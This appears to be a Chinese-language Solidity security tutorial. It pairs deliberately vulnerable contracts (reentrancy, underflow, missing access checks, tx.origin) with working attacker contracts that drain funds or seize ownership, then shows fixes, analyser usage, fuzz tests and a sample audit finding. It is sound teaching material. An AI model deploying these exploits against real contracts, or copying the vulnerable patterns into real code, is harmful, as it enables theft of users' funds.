solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/// @title 有重入漏洞的保险库合约
/// @notice 这是一个反面教材，请勿在生产环境使用
contract VulnerableVault {
    mapping (address => uint256) public balances;

    /// @notice 用户存入 ETH
    function deposit () external payable {
        balances [msg.sender] += msg.value;
    }

    /// @notice 用户提取全部余额 —— 存在重入漏洞！
    function withdraw () external {
        uint256 amount = balances [msg.sender];
        require (amount > 0, "No balance");

        // 危险：先发送 ETH，再更新状态
        (bool success, ) = msg.sender.call {value: amount}("");
        require (success, "Transfer failed");

        // 此行在回调中被绕过 —— 攻击者反复调用 withdraw ()
        // 时，balances 还没被清零
        balances [msg.sender] = 0;
    }
}

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IVulnerableVault {
    function deposit () external payable;
    function withdraw () external;
}

/// @title 重入攻击合约
contract Attacker {
    IVulnerableVault public vault;
    address public owner;

    constructor (address _vault) {
        vault = IVulnerableVault (_vault);
        owner = msg.sender;
    }

    /// @notice 发起攻击：先存入 1 ETH，然后提款触发重入
    function attack () external payable {
        require (msg.value >= 1 ether, "Need at least 1 ETH");
        vault.deposit {value: 1 ether}();
        vault.withdraw ();
    }

    /// @notice 每次收到 ETH 时自动触发，反复调用 withdraw
    receive () external payable {
        if (address (vault).balance >= 1 ether) {
            vault.withdraw (); // 重入！此时 balances 尚未清零
        }
    }

    /// @notice 攻击者取回所有盗取的资金
    function collectStolenFunds () external {
        require (msg.sender == owner);
        payable (owner).transfer (address (this).balance);
    }
}

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

/// @title 安全的保险库合约
/// @notice 使用 Checks-Effects-Interactions 模式 + ReentrancyGuard
contract SecureVault is ReentrancyGuard {
    mapping (address => uint256) public balances;

    function deposit () external payable {
        balances [msg.sender] += msg.value;
    }

    /// @notice 安全的提款函数
    function withdraw () external nonReentrant {
        uint256 amount = balances [msg.sender];
        require (amount > 0, "No balance");          // Checks: 检查条件

        balances [msg.sender] = 0;                   // Effects: 先更新状态

        (bool success, ) = msg.sender.call {value: amount}(""); // Interactions: 最后外部调用
        require (success, "Transfer failed");
    }
}

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6; // 注意：0.8 之前的版本

/// @title 有整数溢出漏洞的代币合约
/// @notice 这是反面教材，展示 0.8 之前的危险行为
contract VulnerableToken {
    mapping (address => uint256) public balances;
    uint256 public totalSupply;

    constructor (uint256 _initialSupply) {
        balances [msg.sender] = _initialSupply;
        totalSupply = _initialSupply;
    }

    /// @notice 转账函数 —— 存在下溢漏洞
    function transfer (address _to, uint256 _value) public {
        // 在 0.8 之前，如果 balances [msg.sender] = 0 而 _value = 1，
        // 那么 0 - 1 不会 revert，而是变成 2^256 - 1（一个天文数字）
        require (balances [msg.sender] - _value >= 0); // 这个检查永远为 true！
        balances [msg.sender] -= _value;  // 下溢：余额变成超大数字
        balances [_to] += _value;
    }
}

solidity
// Solidity 0.8 之前的解决方案
import "@openzeppelin/contracts/math/SafeMath.sol";

contract SafeToken {
    using SafeMath for uint256;

    mapping (address => uint256) public balances;

    function transfer (address _to, uint256 _value) public {
        // SafeMath 会在溢出时自动 revert
        balances [msg.sender] = balances [msg.sender].sub (_value);
        balances [_to] = balances [_to].add (_value);
    }
}

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract ModernToken {
    mapping (address => uint256) public balances;

    function transfer (address _to, uint256 _value) public {
        // 0.8+ 默认安全：如果余额不足会自动 revert
        balances [msg.sender] -= _value;
        balances [_to] += _value;
    }

    /// @notice unchecked 块会跳过溢出检查 —— 使用时必须格外小心
    function riskyIncrement (uint256 x) public pure returns (uint256) {
        unchecked {
            return x + 1; // 如果 x = type (uint256).max，会溢出为 0！
        }
    }
}

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/// @title 有权限漏洞的代币合约
contract VulnerableAdmin {
    mapping (address => uint256) public balances;
    address public owner;

    constructor () {
        owner = msg.sender;
    }

    /// @notice 铸造新代币 —— 任何人都能调用！
    function mint (address _to, uint256 _amount) external {
        // 缺少 onlyOwner 检查 —— 这是一个严重漏洞
        balances [_to] += _amount;
    }

    /// @notice 紧急提取所有资金 —— 同样没有权限控制
    function emergencyWithdraw () external {
        payable (msg.sender).transfer (address (this).balance);
    }
}

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/// @title tx.origin 权限漏洞示例
contract TxOriginVictim {
    address public owner;

    constructor () {
        owner = msg.sender;
    }

    /// @notice 危险！使用 tx.origin 进行身份验证
    function transferOwnership (address _newOwner) external {
        // 如果 owner 调用了恶意合约，恶意合约再调用此函数，
        //tx.origin 仍然是 owner，检查会通过！
        require (tx.origin == owner, "Not owner");
        owner = _newOwner;
    }
}

/// @title 利用 tx.origin 的攻击合约
contract TxOriginAttacker {
    TxOriginVictim public victim;
    address public attacker;

    constructor (address _victim) {
        victim = TxOriginVictim (_victim);
        attacker = msg.sender;
    }

    /// @notice 当 owner 向此合约发送 ETH 时触发攻击
    receive () external payable {
        //tx.origin 是 owner（因为 owner 发起了这笔交易）
        //msg.sender 是本合约（但 victim 检查的是 tx.origin）
        victim.transferOwnership (attacker);
    }
}

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";

/// @title 使用 OpenZeppelin 的安全权限管理
contract SecureAdmin is AccessControl {
    bytes32 public constant MINTER_ROLE = keccak256 ("MINTER_ROLE");
    bytes32 public constant PAUSER_ROLE = keccak256 ("PAUSER_ROLE");

    mapping (address => uint256) public balances;

    constructor (address admin) {
        _grantRole (DEFAULT_ADMIN_ROLE, admin);
        _grantRole (MINTER_ROLE, admin);
    }

    /// @notice 只有 MINTER_ROLE 可以铸造
    function mint (address _to, uint256 _amount) external onlyRole (MINTER_ROLE) {
        balances [_to] += _amount;
    }

    /// @notice 只有管理员可以紧急提取
    function emergencyWithdraw () external onlyRole (DEFAULT_ADMIN_ROLE) {
        payable (msg.sender).transfer (address (this).balance);
    }
}

用户提交大额 Swap 交易 → 进入 mempool（公开可见）
    ↓
MEV Bot 发现机会 → 在用户交易之前买入（推高价格）
    ↓
用户交易执行 → 以更高价格成交
    ↓
MEV Bot 卖出获利 → "三明治攻击" 完成

1. 攻击者从 Aave/dYdX 闪电贷借入 1000 万 USDC
2. 用大额资金操纵某个 DEX 的代币价格
3. 以被操纵的价格在目标协议中获利
4. 归还闪电贷 + 手续费
5. 攻击者净赚差价

solidity
function safeOperation () external {
    // 1. Checks —— 所有条件检查放在最前面
    require (balances [msg.sender] >= amount, "Insufficient balance");
    require (amount > 0, "Amount must be positive");

    // 2. Effects —— 更新所有状态变量
    balances [msg.sender] -= amount;
    totalWithdrawn += amount;

    // 3. Interactions —— 最后才进行外部调用
    (bool success, ) = msg.sender.call {value: amount}("");
    require (success, "Transfer failed");
}

bash
# 安装 Slither
pip install slither-analyzer

# 对单个合约文件运行分析
slither contracts/MyContract.sol

# 对 Foundry/Hardhat 项目运行
slither .

# 只显示高危和中危问题
slither . --filter-paths "node_modules" --exclude-informational --exclude-low

MyContract.withdraw (uint256) (contracts/MyContract.sol#45-52)
  sends eth to arbitrary user
  Dangerous calls:
    - (success) = msg.sender.call {value: amount}() (contracts/MyContract.sol#50)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#functions-that-send-ether-to-arbitrary-destinations

INFO:Detectors:
Reentrancy in MyContract.withdraw (uint256) (contracts/MyContract.sol#45-52):
  External calls:
    - (success) = msg.sender.call {value: amount}() (#50)
  State variables written after the call:
    - balances [msg.sender] = 0 (#51)

bash
# 安装 Mythril
pip install mythril

# 分析合约
myth analyze contracts/MyContract.sol

# 指定 Solidity 版本
myth analyze contracts/MyContract.sol --solv 0.8.20

# 设置更深的搜索深度（耗时更长，发现更多）
myth analyze contracts/MyContract.sol --execution-timeout 300

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "../src/SecureVault.sol";

contract SecureVaultFuzzTest is Test {
    SecureVault vault;
    address user = address (0x1);

    function setUp () public {
        vault = new SecureVault ();
    }

    /// @notice Fuzz 测试：存入任意金额后，余额应该正确
    function testFuzz_DepositUpdatesBalance (uint96 amount) public {
        vm.assume (amount > 0); // 排除零值
        vm.deal (user, amount);
        vm.prank (user);
        vault.deposit {value: amount}();
        assertEq (vault.balances (user), amount);
    }

    /// @notice Fuzz 测试：不能提取超过余额的金额
    function testFuzz_CannotWithdrawMoreThanBalance (uint96 depositAmt) public {
        vm.assume (depositAmt > 0);
        vm.deal (user, depositAmt);
        vm.prank (user);
        vault.deposit {value: depositAmt}();

        // 余额正确
        assertEq (vault.balances (user), depositAmt);

        // 提取后余额归零
        vm.prank (user);
        vault.withdraw ();
        assertEq (vault.balances (user), 0);
    }

    /// @notice Fuzz 测试：没有存款的用户不能提取
    function testFuzz_NoBalanceCannotWithdraw (address randomUser) public {
        vm.assume (randomUser != address (0));
        vm.assume (vault.balances (randomUser) == 0);
        vm.prank (randomUser);
        vm.expectRevert ("No balance");
        vault.withdraw ();
    }
}

bash
# 运行所有 fuzz 测试（默认 256 轮随机输入）
forge test --match-contract SecureVaultFuzzTest

# 增加随机轮数以获得更高覆盖率
forge test --match-contract SecureVaultFuzzTest --fuzz-runs 10000

# 查看详细输出
forge test --match-contract SecureVaultFuzzTest -vvvv

[H-01] 提款函数存在重入风险

严重程度: High
状态：已确认 (Confirmed)

描述:
    Vault.sol 第 45 行的 withdraw () 函数在外部调用（第 50 行）之后
    才更新用户余额状态（第 51 行），违反了 Checks-Effects-Interactions
    模式。恶意合约可以在 receive () 回调中重复调用 withdraw ()，在单笔
    交易中提取超过其余额的资金。

影响:
    攻击者可以提取合约中的全部 ETH 余额。截至审计时，合约持有 1,250 ETH
    （约 400 万美元）。

复现步骤:
    1. 部署攻击合约，实现 receive () 中回调 withdraw ()
    2. 调用 deposit () 存入 1 ETH
    3. 调用 withdraw () 触发重入循环
    4. 预期结果：攻击者获得远超 1 ETH 的资金

建议修复:
    - 将 balances [msg.sender] = 0 移至外部调用之前
    - 添加 OpenZeppelin ReentrancyGuard 的 nonReentrant 修饰符